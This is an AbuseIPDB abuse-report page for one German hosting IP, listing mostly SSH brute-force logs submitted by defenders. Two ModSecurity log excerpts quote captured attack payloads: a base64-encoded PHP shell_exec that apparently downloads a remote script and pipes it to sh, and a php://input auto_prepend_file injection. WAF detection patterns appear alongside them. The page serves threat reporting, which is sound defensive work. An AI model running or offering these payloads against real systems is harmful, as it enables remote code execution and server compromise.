JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 144.31.147.243

144.31.147.243 was found in our database!

This IP was reported 1,272 times. Confidence of Abuse is 100%: ?

100%

ISP	play2go.cloud - Cheap and reliable hosting
Usage Type	Data Center/Web Hosting/Transit
ASN	AS215439
Domain Name	play2go.cloud
Country	🇩🇪 Germany
City	Frankfurt am Main, Hesse

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 144.31.147.243

Whois 144.31.147.243

IP Abuse Reports for 144.31.147.243:

This IP address has been reported a total of 1,272 times from 662 distinct sources. 144.31.147.243 was first reported on May 19th 2026, and the most recent report was 11 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇵🇱 Wepted	2026-05-19 22:38:37 (2 weeks ago)	2026-05-20T00:28:06.052208+02:00 axisverse sshd-session[2412736]: Invalid user test from 144.31.147. ... show more 2026-05-20T00:28:06.052208+02:00 axisverse sshd-session[2412736]: Invalid user test from 144.31.147.243 port 52474 2026-05-20T00:31:34.936470+02:00 axisverse sshd-session[2420418]: Invalid user user from 144.31.147.243 port 36970 2026-05-20T00:38:35.993808+02:00 axisverse sshd-session[2435905]: Invalid user admin from 144.31.147.243 port 47432 ... show less	Brute-Force SSH
Anonymous	2026-05-19 22:34:45 (2 weeks ago)	Large amount of failed SSH access attempts (brute-force)	Brute-Force SSH
🇺🇸 p0tatosmash3r	2026-05-19 22:21:09 (2 weeks ago)	Port Scan from 144.31.147.243	Port Scan SSH
🇺🇸 en0	2026-05-19 22:12:37 (2 weeks ago)	2026-05-19 15:12:36,842 fail2ban.actions [783]: NOTICE [sshd] Ban 144.31.147.243	Brute-Force SSH
Anonymous	2026-05-19 22:03:58 (2 weeks ago)	2026-05-19T21:25:36.919069+00:00 de-fra2-dns1 sshd[715923]: Invalid user admin from 144.31.147.243 p ... show more 2026-05-19T21:25:36.919069+00:00 de-fra2-dns1 sshd[715923]: Invalid user admin from 144.31.147.243 port 46162 2026-05-19T21:57:00.428321+00:00 de-fra2-dns1 sshd[716836]: Invalid user user from 144.31.147.243 port 37784 2026-05-19T22:03:58.117928+00:00 de-fra2-dns1 sshd[717161]: Invalid user admin from 144.31.147.243 port 49426 ... show less	Brute-Force SSH
🇺🇸 Tect.host	2026-05-19 21:44:17 (2 weeks ago)	Brute-force SSH server detected by Fail2ban	Brute-Force SSH
🇩🇪 Hary74656	2026-05-19 21:40:06 (2 weeks ago)	[Tue May 19 23:39:57.107005 2026] [security2:error] [pid 394803:tid 394951] [client 144.31.147.243:5 ... show more [Tue May 19 23:39:57.107005 2026] [security2:error] [pid 394803:tid 394951] [client 144.31.147.243:58002] [client 144.31.147.243] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:;\|\\\\{\|\\\\\|\|\\\\\|\\\\\|\|&\|&&\|\\\\n\|\\\\r\|`)\\\\s[\\\\(,@\\\\'\\"\\\\s](?:[\\\\w'\\"\\\\./]+/\|[\\\\\\\\'\\"\\\\^]\\\\w[\\\\\\\\'\\"\\\\^]:.\\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]\\\\\\\\)?[\\"\\\\^](?:m[\\"\\\\^](?:y[\\"\\\\^]s[\\"\\\\^]q[\\"\\\\^]l(?:[\\"\\\\^](?:d[\\"\\\\^]u[\\"\\\\^]m[\\"\\\\^]p(?:[\\"\\\\^]s[\\"\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMTQuNDYuMTM2Ljc3L3NoIHx8IGN1cmwgLXNrIGh0dHBzOi8vMTQuNDYuMTM2Ljc3L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzcuc2VsZnJlcA. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; echo found within ARGS:<?php shell_exec(base64_deco ... show less	Web App Attack
🇬🇧 djboddington	2026-05-19 21:34:38 (2 weeks ago)	This IP was detected by CrowdSec triggering crowdsecurity/http-cve-2021-41773	Web App Attack Hacking
🇺🇸 TPI-Abuse	2026-05-19 21:28:28 (2 weeks ago)	(mod_security) mod_security (id:218420) triggered by 144.31.147.243 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:218420) triggered by 144.31.147.243 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue May 19 17:28:23.593290 2026] [security2:error] [pid 25351:tid 25351] [client 144.31.147.243:50756] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in\|out\|err)\|(in\|out)put\|fd\|memory\|temp\|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/21_PHP_PHPGen.conf"] [line "38"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found\|\|192.64.150.145:80\|F\|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "192.64.150.145"] [uri "/hello.world"] [unique_id "agzV997DqfzzeHn0o3t3AQAAACk"] show less	Brute-Force Bad Web Bot Web App Attack
🇫🇷 aldene.info	2026-05-19 21:27:15 (2 weeks ago)	[librenms] Blocked by SysWarden Firewall (Web Attack)	Port Scan Web App Attack Hacking
🇨🇦 hpg	2026-05-19 21:19:39 (2 weeks ago)	20 invalid SSH login attempts from 144.31.147.243 in the last 4.4 hours	Brute-Force SSH
🇫🇮 SamJUK	2026-05-19 21:03:56 (2 weeks ago)	2026-05-19T22:00:35.624501+01:00 sam-prod-production sshd[430145]: Invalid user orangepi from 144.31 ... show more 2026-05-19T22:00:35.624501+01:00 sam-prod-production sshd[430145]: Invalid user orangepi from 144.31.147.243 port 39312 2026-05-19T22:00:35.627246+01:00 sam-prod-production sshd[430145]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=144.31.147.243 2026-05-19T22:00:37.380800+01:00 sam-prod-production sshd[430145]: Failed password for invalid user orangepi from 144.31.147.243 port 39312 ssh2 2026-05-19T22:04:05.814527+01:00 sam-prod-production sshd[430171]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=144.31.147.243 user=root 2026-05-19T22:04:07.735275+01:00 sam-prod-production sshd[430171]: Failed password for root from 144.31.147.243 port 46348 ssh2 ... show less	Brute-Force SSH
🇩🇪 bescared	2026-05-19 21:03:40 (2 weeks ago)	F2B - Malicious activity detected. Unauthorized connection attempt: SSH. -c0423ad6-	Port Scan SSH
🇩🇪 formality	2026-05-19 20:57:53 (2 weeks ago)	Invalid user admin from 144.31.147.243 port 38718	Brute-Force SSH
🇬🇧 blik2108	2026-05-19 20:57:02 (2 weeks ago)	2026-05-19T21:57:01.490927+01:00 jumphost sshd-session[209382]: Connection from 144.31.147.243 port ... show more 2026-05-19T21:57:01.490927+01:00 jumphost sshd-session[209382]: Connection from 144.31.147.243 port 44898 on 192.168.40.4 port 22 rdomain "" 2026-05-19T21:57:01.608335+01:00 jumphost sshd-session[209382]: Invalid user orangepi from 144.31.147.243 port 44898 ... show less	Brute-Force SSH

Showing 1156 to 1170 of 1272 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇩🇪 213.209.159.226

🇰🇷 20.196.203.243

🇰🇷 211.228.218.47

🇮🇳 203.145.143.163

🇺🇸 162.216.150.170

🇮🇩 103.146.202.84

🇷🇴 92.118.39.62

🇩🇪 213.209.159.225

🇵🇸 109.73.248.147

🇺🇸 108.181.63.2

🇳🇱 45.148.10.151

🇺🇸 20.38.46.40

🇩🇪 209.38.208.202

🇺🇸 172.234.218.210

🇩🇪 165.154.164.114

🇿🇦 105.233.67.36

🇷🇴 102.129.186.123

🇩🇪 84.233.216.239

🇩🇪 84.233.216.142

🇱🇹 45.227.254.170